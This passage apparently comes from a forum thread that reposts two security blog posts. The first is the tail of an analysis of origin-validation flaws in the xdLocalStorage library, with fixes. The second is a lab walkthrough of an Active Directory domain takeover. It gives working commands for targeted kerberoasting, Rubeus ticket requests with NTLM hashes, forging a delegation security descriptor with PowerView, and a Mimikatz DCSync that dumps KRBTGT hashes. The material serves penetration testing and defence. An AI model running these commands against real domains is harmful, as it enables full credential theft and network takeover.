a malicious site, which then interacts with the legitimate site hosting the “magical iframe” and receives any messages it sends as a result of the interaction. Note that this issue can be combined with the lack of origin validation to recover all information from local storage. An attacker could first retrieve the length of local storage and then iterate through each key index and the “magical iframe” would send the key and value to the parent, which in this case would be the attacker’s domain. Client – CVE-2020-11611 The buildMessage() function in xdLocalStorage.js specifies the wildcard (*) as the targetOrigin when calling the postMessage() function on the iframe object. Therefore any domain that is currently loaded within the iframe can receive the messages that the client sends. In order to exploit this issue an attacker would need to redirect the “magical iframe” loaded on the vulnerable application within the user’s browser to a domain they control. This is non trivial but there may be some scenarios where this can occur. If an attacker were able to successfully exploit this issue they would have access to any information that the client sends to the iframe, and also be able to send messages back with a valid requestId which would then be processed by the client, this may then further impact the security of the client application. How Wide Spread is the Issue in xdLocalStorage? At the time of writing all versions of xdLocalStorage (previously called cross-domain-local-storage) are vulnerable – i.e release 1.0.1 (released 2014-04-17) to 2.0.5 (released 2017-04-14). According to the project README the recommended method of installing is via bower or npm. npmjs.com shows that the library has around 350 weekly downloads (March 2020). https://npmjs.com/package/xdlocalstorage (2020-03-20) Defence xdLocalStorage This issue has been known since at least August 2015 when Hengjie opened an Issue on the GitHub repository to notify the project owner (https://github.com/ofirdagan/cross-domain-local-storage/issues/17). However the Pull request which included functionality to whitelist origins has not been accepted or worked on since July 2016 (https://github.com/ofirdagan/cross-domain-local-storage/pull/19). The last commit on the project (at the time of writing) was in August 2018. Therefore a fix from the project maintainer may not be forthcoming. Consider replacing this library with a maintained alternative which includes robust origin validation, or implement validation within the existing library. Web Messaging Refer to the OWASP HTML 5 Security Cheat Sheet. When sending a message explicitly state the targetOrigin (do not use the wildcard *) When receiving a message carefully validate the origin of any message to ensure it is from an expected source. When receiving a message carefully validate the data to ensure it is in the expected format and safe to use in the context it is in (e.g. HTML markup within the data may not be safe to embed directly into the page as this would introduce DOM Based Cross Site Scripting). Web Storage Refer to the OWASP HTML5 Security Cheat Sheet. Sursa: https://grimhacker.com/2020/04/02/exploiting-xdlocalstorage-localstorage-and-postmessage/
-
Chaining multiple techniques and tools for domain takeover using RBCD Reading time ~26 min Posted by Sergio Lazaro on 09 March 2020 Categories: Active directory, Internals, Bloodhound, Dacls, Mimikatz, Powerview, Rubeus Intro In this blog post I want to show a simulation of a real-world Resource Based Constrained Delegation attack scenario that could be used to escalate privileges on an Active Directory domain. I recently faced a network that had had several assessments done before. Luckily for me, before this engagement I had used some of my research time to understand more advanced Active Directory attack concepts. This blog post isn’t new and I used lots of existing tools to perform the attack. Worse, there are easier ways to do it as well. But, this assessment required different approaches and I wanted to show defenders and attackers that if you understand the concepts you can take more than one path. The core of the attack is about abusing resource-based constrained delegation (RBCD) in Active Directory (AD). Last year, Elad Shamir wrote a great blog post explaining how the attack works and how it can result in a Discretionary Access Control List (DACL)-based computer object takeover primitive. In line with this research, Andrew Robbins and Will Schroeder presented DACL-based attacks at Black Hat back in 2017 that you can read here. To test the attacks I created a typical client network using an AWS Domain Controller (DC) with some supporting infrastructure. This also served as a nice addition to our Infrastructure Training at SensePost by expanding the modern AD attack section and practicals. We’ll be giving this at BlackHat USA. The attack is demonstrated against my practise environment. Starting Point After some time on the network, I was able to collect local and domain credentials that I used in further lateral movement. However, I wasn’t lucky enough to compromise credentials for users that were part of the Domain Admins group. Using BloodHound, I realised that I had compromised two privileged groups with the credentials I gathered: RMTAdmins and MGMTAdmins. The users from those groups that will be used throughout the blogpost are: RONALD.MGMT (cleartext credentials) (Member of MGMTAdmins) SVCRDM (NTLM hash) (Member of RMTADMINS) One – The user RONALD.MGMT was configured with interesting write privileges on a user object. If the user was compromised, the privileges obtained would create the opportunity to start a chain of attacks due to DACL misconfigurations on multiple users. To show you a visualisation, BloodHound looked as follows: Figure 1 – DACL attack path from RONALD.MGMT to SVCSYNC user. According to Figure 1, the SVCSYNC user was marked as a high value target. This is important since this user was able to perform a DCSync (due to the GetChanges & GetChangesAll privileges) on the main domain object: Figure 2 – SVCSYNC had sufficient privileges on the domain object to perform a DCSync. Two – The second user, SVCRDM, was part of a privileged group able to change the owner of a DC computer due to the WriteOwner privilege. The privileges the group had were applied to all the members, effectively granting SVCRDM the WriteOwner privilege. BloodHound showed this relationship as follows: Figure 3 – SVCRDM user, member of RMTADMINS, had WriteOwner privileges over the main DC. With these two graphs BloodHound presented, there were two different approaches to compromise the domain: Perform a chain of targeted kerberoasting attacks to compromise the SVCSYNC user to perform a DCSync. Abuse the RBCD attack primitive to compromise the DC computer object. Targeted Kerberoasting There are two ways to compromise a user object when we have write privileges (GenericWrite/GenericAll/WriteDacl/WriteOwner) on the object: we can force a password reset or we can rely on the targeted kerberoasting technique. For obvious reasons, forcing a password reset on these users wasn’t an option. The only option to compromise the users was a chain of targeted kerberoasting attacks to finally reach the high value target SVCSYNC. Harmj0y described the targeted kerberoasting technique in a blog post he wrote while developing BloodHound with _wald0 and @cptjesus. Basically, when we have write privileges on a user object, we can add the Service Principal Name (SPN) attribute and set it to whatever we want. Then kerberoast the ticket and crack it using John/Hashcat. Later, we can remove the attribute to clean up the changes we made. There are a lot of ways to perform this attack. Probably the easiest way is using PowerView. However, I chose to use Powershell’s ActiveDirectory module and impacket. According to Figure 2, my first target was SUSANK on the road to SVCSYNC. Since I had the credentials of RONALD.MGMT I could use Runas on my VM to spawn a PowerShell command line using RONALD.MGMT’s credentials: runas /netonly /user:ronald.mgmt@maemo.local powershell Runas is really useful as it spawns a CMD using the credentials of a domain user from a machine which isn’t part of the domain. The only requirement is that DNS resolves correctly. The /netonly flag is important because the provided credentials will only be used when network resources are accessed. Figure 4 – Spawning Powershell using Runas with RONALD.MGMT credentials. In the new PowerShell terminal, I loaded the ActiveDirectory PowerShell module to perform the targeted kerberoast on the user I was interested in (SUSANK in this case). Below are the commands used to add a new SPN to the account: Import-Module ActiveDirectory Get-ADUser susank -Server MAEMODC01.maemo.local Set-ADUser susank -ServicePrincipalNames @{Add="sensepost/targetedkerberoast"} -Server MAEMODC01.maemo.local Figure 5 – Targeted Kerberoast using ActiveDirectory Powershell module. After a new SPN is added, we can use impacket’s GetUserSPNs to retrieve Ticket Granting Service Tickets (TGS) as usual: Figure 6 – Impacket’s GetUserSPNs was used to request the Ticket-Granting-Service (TGS) of every SPN. In the lab there weren’t any other SPN’s configured although in the real world there’s likely to be more. TGS tickets can be cracked as portions of the ticket are encrypted using the target users’s Kerberos 5 TGS-REP etype 23 hash as the private key, making it possible to obtain the cleartext password of the target account in an offline brute force attack. In this case, I used Hashcat: Figure 7 – The TGS obtained before was successfuly cracked using Hashcat. Once the user SUSANK was compromised, I repeated the same process with the other users in order to reach the high value target SVCSYNC. However, I had no luck when I did the targeted kerberoasting attack and tried to crack the tickets of PIERREQA and JUSTINC users, both necessary steps in the path. Thus, I had to stop following this attack path. However, having the ability to add the serviceprincipalname attribute to a user was really important in order to compromise the DC later by abusing the RBCD computer object primitive. Keep this in mind as we’ll come back later to SUSANK. Resource-based Constrained Delegation (RBCD) I’m not going to dig into all of the details on how a RBCD attack works. Elad wrote a really good blog post called “Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory” that explains all the concepts I’m going to use. If you haven’t read it, I suggest you stop here and spend some time trying to understand all the requirements and concepts he explained. It’s a long blog post, so grab some coffee As a TL;DR, I’ll list the main concepts you’ll need to know to spot and abuse Elad’s attack: Owning an SPN is required. This can be obtained by setting the serviceprincipalname attribute on a user object when we have write privileges. Another approach relies on abusing a directories MachineAccountQuota to create a computer account which by default, comes with the serviceprincipalattribute set. Write privileges on the targeted computer object are required. These privileges will be used to configure the RBCD on the computer object and the user with the serviceprincipalname attribute set. The RBCD attack involves three steps: request a TGT, S4U2Self and S4U2Proxy. S4U2Self works on any account that has the serviceprincipalname attribute set. S4U2Self allows us to obtain a valid TGS for arbitrary users (including sensitive users such as Domain Admins group members). S4U2Proxy always produces a forwardable TGS, even if the TGS used isn’t forwardable. We can use Rubeus to perform the RBCD attack with a single command. One of the requirements, owning a SPN, was already satisfied due to the targeted kerberoasting attack performed to obtain SUSANK’s credentials. I still needed write privileges on the targeted computer which in this case was the DC. Although I didn’t have write privileges directly, I had WriteOwner privileges with the second user mentioned in the introduction, SVCRDM. Figure 8 – SVCRDM could have GenericAll privileges if the ownership of MAEMODC01 was acquired. An implicit GenericAll ACE is applied to the owner of an object, which provided an opportunity to obtain the required write privileges. In the next section I explain how I changed the owner of the targeted computer using Active Directory Users & Computers (ADUC) in combination with Rubeus. Later on, a simulated attack scenario showing how to escalate privileges within AD in a real environment by abusing the RBCD computer takeover primitive is shown. Ticket Management with Rubeus Since the SVCRDM user was part of the RMTADMINS group, which could modify the owner of the DC, it was possible to make SVCRDM, or any other user I owned, the owner of the DC. Being the owner of an object would grant GenericAll privileges. However, I only had the NTLM hash for the SVCRDM user, so I chose to authenticate with Kerberos. In order to do that, I used Rubeus (thank you to Harmj0y and all the people that contributed to this project). To change the owner of the DC I had to use the SVCRDM account. An easy way to change the owner of an AD object is by using PowerView. Another way to apply the same change would be by using ADUC remotely. ADUC allows us to manage AD objects such as users, groups, Organization Units (OU), as well as their attributes. That means that we can use it to update the owner of an object given the required privileges. Since I couldn’t crack the hash of SVCRDM’s password, I wasn’t able to authenticate using SVCRDM’s credentials but it was possible to request a Kerberos tickets for this account using Rubeus and the hash. Later, I started ADUC remotely from my VM to change the owner of the targeted DC. It’s out of the scope of this blog to explain how Kerberos works, please refer to the Microsoft Kerberos docs for further details. On a VM (not domain-joined), I spawned cmd.exe as local admin using runas with the user SVCRDM. This prompt allowed me to request and import Kerberos tickets to authenticate to domain services. I ran runas with the /netonly flag to ensure the authentication is only performed when remote services are accessed. As I had used the /netonly flag and had I chosen to authenticate using Kerberos tickets, the password I gave runas wasn’t the correct one. runas /netonly /user:svcrdm@maemo.local cmd Figure 9 – Starting Runas with the SVCRDM domain user and a wrong password. In the terminal running as the SVCRDM user, I used Rubeus to request a Ticket-Granting-Ticket (TGT) for this user. The /ptt (pass-the-ticket) parameter is important to automatically add the requested ticket into the current session. Rubeus.exe asktgt /user:SVCRDM /rc4:a568802050cd83b8898e5fb01ddd82a6 /ptt /domain:maemo.local /dc:MAEMODC01.maemo.local Figure 10 – Requesting a TGT for the SVCRDM user with Rubeus. In order to access a certain service using Kerberos, a Ticket-Granting-Service (TGS) ticket mis required. By presenting the TGT, I was authorised to request a TGS to access the services I was interested on. These services were the LDAP and CIFS services on the DC. We can use Rubeus to request these two TGS’. First, I requested the TGS for the LDAP service: Rubeus.exe asktgs /ticket:[TGT_Base64] /service:ldap/MAEMODC01.maemo.local /ptt /domain:maemo.local /dc:MAEMODC01.maemo.local Figure 11 – Using the previous TGT to obtain a TGS for the LDAP service on MAEMODC01. In the same way, I requested a TGS for the CIFS service of the targeted DC: Rubeus.exe asktgs /ticket:[TGT_Base64] /service:cifs/MAEMODC01.maemo.local /ptt /domain:maemo.local /dc:MAEMODC01.maemo.local Figure 12 – Using the previous TGT to obtain a TGS for the CIFS service on MAEMODC01. The tickets were imported successfully and can be listed in the output of the klist command: Figure 13 – The requested Kerberos tickets were imported successfully in the session. Literally Owning the DC With the Kerberos tickets imported, we can start ADUC and use it to modify the targeted Active Directory environment. As with every other program, we can start ADUC from the terminal. In order to do it, I used mmc, which requires admin privileges. This is why the prompt I used to start runas and request the Kerberos tickets required elevated privileges. Because of the SVCRDM Kerberos ticket imported in the session, we’ll be able to connect to the DC without credentials being provided. To start ADUC I typed the following command: mmc %SystemRoot%\system32\dsa.msc After running this command, ADUC gave an error saying that the machine wasn’t domain joined and the main frame was empty. No problem, just right-click the “Active Directory Users and Computers” on the left menu to choose the option “Change Domain Controller…”. There, the following window appeared: Figure 14 – Selecting the Directory Server on ADUC. After adding the targeted DC, Figure 14 shows the status as “Online” so I clicked “OK” and I was able to see all the AD objects: Figure 15 – AD objects of the MAEMO domain were accessible remotely using ADUC. Every AD object has a tab called “Security” which includes all the ACEs that are applied to it. This tab isn’t enabled by default and it must be activated by clicking on View > Advanced Features. At this point, I was ready to take ownership of the DC. Accessing the MAEMODC01 computer properties within the Domain Controllers OU and checking the advanced button on the “Security” tab, I was able to see that the owners were the Domain Admins: Figure 16 – MAEMODC01 owned by the Domain Admins group. The user SVCRDM had the privilege to change the owner so I clicked on “Change” and selected the SVCRDM user: Figure 17 – MAEMODC01 owner changed to the user SVCRDM. If you have a close look to Figure 17, most of the buttons are disabled because of the limited permissions granted to SVCRDM. Changing the owner is the only option available. As I said before, ownership of an object implies GenericAll privileges. After all these actions, I wanted to make everything a bit more comfortable for me, so I added the user RONALD.MGMT with GenericAll privileges on the MAEMODC01 object for use later. The final status of the DACL for the MAEMODC01 object looked as follows: Figure 18 – User RONALD.MGMT with Full Control (GenericAll) on the MAEMODC01. Computer Object Takeover According to Elad Shamir’s blog post (that I still highly encourage you to read), one of the requirements to weaponise the S4U2Self and S4U2Proxy process with the RBCD is to have control over an SPN. I ran a targeted Kerberoast attack to take control of SUSANK so that requirement was satisfied as this user had the serviceprincipalname attribute set. If it isn’t possible to get control of an SPN, we can use Powermad by Kevin Robertson to abuse the default machine quota and create a new computer account which will have the serviceprincipalname attribute set by default. In the Github repository, Kevin mentioned the following: The default Active Directory ms-DS-MachineAccountQuota attribute setting allows all domain users to add up to 10 machine accounts to a domain. Powermad includes a set of functions for exploiting ms-DS-MachineAccountQuota without attaching an actual system to AD. Before abusing the computer object takeover primitive, some more requirements needed to be met. The GenericAll privileges I set up for RONALD.MGMT previously would allow me to write the necessary attributes of the targeted DC. This is important because I needed to add an entry for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the targeted computer (the DC) that pointed back to the SPN I controlled (SUSANK). This configuration will be abused to impersonate any user in the domain, including high privileged accounts such as the Domain Admins group members: Figure 19 – Domain Admins group members. The following details are important in order to abuse the DACL computer takeover: The required SPN is SUSANK. The targeted computer is MAEMODC01, the DC of the maemo.local domain. The user RONALD.MGMT has GenericAll privileges on MAEMODC01. The required tools are PowerView and Rubeus. I had access to a lot of systems due to the compromise of both groups RMTAdmins and MGMTAdmins. I used the privileges I had to access a domain joined Windows box. There, I loaded PowerView in memory since, in this case, an in-memory PowerShell script execution wasn’t detected. Harmj0y detailed how to take advantage of the previous requirements in this blog post. During the assessment, I followed his approach but did not need to create a computer account as I already owned an SPN. Harmj0y also provided a gist containing all the commands needed. Running PowerShell with RONALD.MGMT user, the first thing we need are the SIDs of the main domain objects involved: RONALD.MGMT and MAEMODC01.maemo.local. Although it wasn’t necessary, I validated the privileges the user RONALD.MGMT had on the targeted computer to double-check the GenericAll privileges I granted it with. I used Get-DomainUser and Get-DomainObjectAcl. #First, we get ronald.mgmt (attacker) SID $TargetComputer = "MAEMODC01.maemo.local" $AttackerSID = Get-DomainUser ronald.mgmt -Properties objectsid | Select -Expand objectsid $AttackerSID #Second, we check the privileges of ronald.mgmt on MAEMODC01 $ACE = Get-DomainObjectAcl $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE #We can validate the ACE applies to ronald.mgmt ConvertFrom-SID $ACE.SecurityIdentifier Figure 20 – Obtaining the attacker SID and validating its permissions on the targeted computer. The next step was to configure the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for the owned SPN on the targeted computer. Using Harmj0y’s template I only needed the service account SID to prepare the array of bytes for the security descriptor that represents this attribute. #Now, we get the SID for our SPN user (susank) $ServiceAccountSID = Get-DomainUser susank -Properties objectsid | Select -Expand objectsid $ServiceAccountSID #Later, we prepare the raw security descriptor $SD = New-Object Security.AccessControl.RawSecurityDescriptor -Argument "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ServiceAccountSID))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Figure 21 – Creating the raw security descriptor including the SPN SID for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Then, I added the raw security descriptor forged earlier, to the DC, which was possible due to the GenericAll rights earned after taking ownership of the DC. # Set the raw security descriptor created before ($SDBytes) Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} # Verify the security descriptor was added correctly $RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select -Expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl Figure 22 – The raw security descriptor forged before was added to the targeted computer. With all the requirements fulfilled, I went back to my Windows VM. There, I spawned cmd.exe via runas /netonly using SUSANK’s compromised credentials: Figure 23 – New CMD prompt spawned using Runas and SUSANK credentials. Since I didn’t have SUSANK’s hash, I used Rubeus to obtain it from the cleartext password: Figure 24 – Obtaining the password hashes with Rubeus. Elad included the S4U abuse technique in Rubeus and we can perform this attack by running a single command in order to impersonate a Domain Admin (Figure 19), in this case, RYAN.DA: Rubeus.exe s4u /user:susank /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:ryan.da /msdsspn:cifs/MAEMODC01.maemo.local /dc:MAEMODC01.maemo.local /domain:maemo.local /ptt Figure 25 – S4U abuse with Rubeus. TGT request for SUSANK. Figure 26 – S4U abuse with Rubeus. S4U2self to get a TGS for RYAN.DA. Figure 27 – S4U abuse with Rubeus. S4U2Proxy to impersonate RYAN.DA and access the CIFS service on the targeted computer. The previous S4U abuse imported a TGS for the CIFS service due to the /ptt option in the session. A CIFS TGS can be used to remotely access the file system of the targeted system. However, in order to perform further lateral movements I chose to obtain a TGS for the LDAP service and, since the impersonated user is part of the Domain Admins group, I could use Mimikatz to run a DCSync. Replacing the previous Rubeus command to target the LDAP service can be done as follows: Rubeus.exe s4u /user:susank /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:ryan.da /msdsspn:ldap/MAEMODC01.maemo.local /dc:MAEMODC01.maemo.local /domain:maemo.local /ptt Listing the tickets should show the two TGS obtained after running the S4U abuse: Figure 28 – CIFS and LDAP TGS for the user RYAN.DA. With these TGS (DA account) I was able to run Mimikatz to perform a DCSync and extract the hashes of sensitive domain users such as RYAN.DA and KRBTGT: Figure 29 – DCSync with Mimikatz to obtain RYAN.DA hashes. Figure 30 – DCSync with Mimikatz to obtain KRBTGT hashes. Since getting DA is just the beginning, the obtained hashes can be used to move lateraly within the domain to find sensitive information to show the real impact of the assessment. Clean Up Operations Once the attack has been completed successfully, it doesn’t make sense to leave domain objects with configurations that aren’t needed. Actually, these changes could be a problem in the future. For this reason, I considered it was important to include a cleanup section. Remove the security descriptor msDS-AllowedToActOnBehalfOfOtherIdentity configured in the targeted computer. The security descriptor can be removed by using PowerView: Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity' Clean-up the GenericAll ACE included in the targeted computer for the RONALD.MGMT user. Due to this ACE being added when using ADUC, I used SVCRDM to remove it. Just select the RONALD.MGMT Full Control row and delete it. Replace the targeted computer owner with the Domain Admins group. One more time, using ADUC with the SVCRDM user, I selected the Change section to modify the owner back to the Domain Admins group. Remove the serviceprincipalname attribute on SUSANK. Using the ActiveDirectory Powershell module, I ran the following command to remove the SPN attribute configured on SUSANK: Set-ADUser susank -ServicePrincipalName @{Remove="sensepost/targetedkerberoast"} -Server MAEMODC01.maemo.local Conclusions In this blog post I wanted to show a simulation of a real attack scenario used to escalate privileges on an Active Directory domain. As I said in the beginning, none of this is new and the original authors did a great job with their research and the tools they released. Some changes could be applied using different tools to obtain the exact same results. However, the main goal of this blog post was to show different ways to reach the same result. Some of the actions performed in this blog post could be done in a much easier way by just using a single tool such as PowerView. A good example is the way I chose to modify the owner of the DC. The point here was to show that by mixing concepts such as Kerberos tickets and some command line tricks, we can use ADUC remotely without a cleartext password. Although it required more steps, using all this stuff during the assessment was worth it! BloodHound is a useful tool for Active Directory assessments, especially in combination with other tools such as Rubeus and PowerView. AD DACL object takeovers are easier to spot and fix or abuse, bringing new ways to elevate privileges in a domain. Elad’s blog post is a really useful resource full of important information on how delegation can be used and abused. With this blog post I wanted to show you that, although it’s possible that we don’t have all the requirements to perform an attack, with a certain level of privileges we can configure everything we need. As with any other technique while doing pentests, we can chain different misconfigurations to reach a goals such as the Domain Admin. Although getting a DA account isn’t the goal of every pentest, it’s a good starting point to find sensitive information in the internal network of a company. References Links: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/ https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf https://wald0.com/?p=68 https://adsecurity.org/?p=1729 If you find any glaring mistakes or have any further questions do not hesitate on sending an email to sergio [at] the domain of this blog. Sursa: https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/
-
Recomandare: https://app.pluralsight.com/profile/author/jared-demott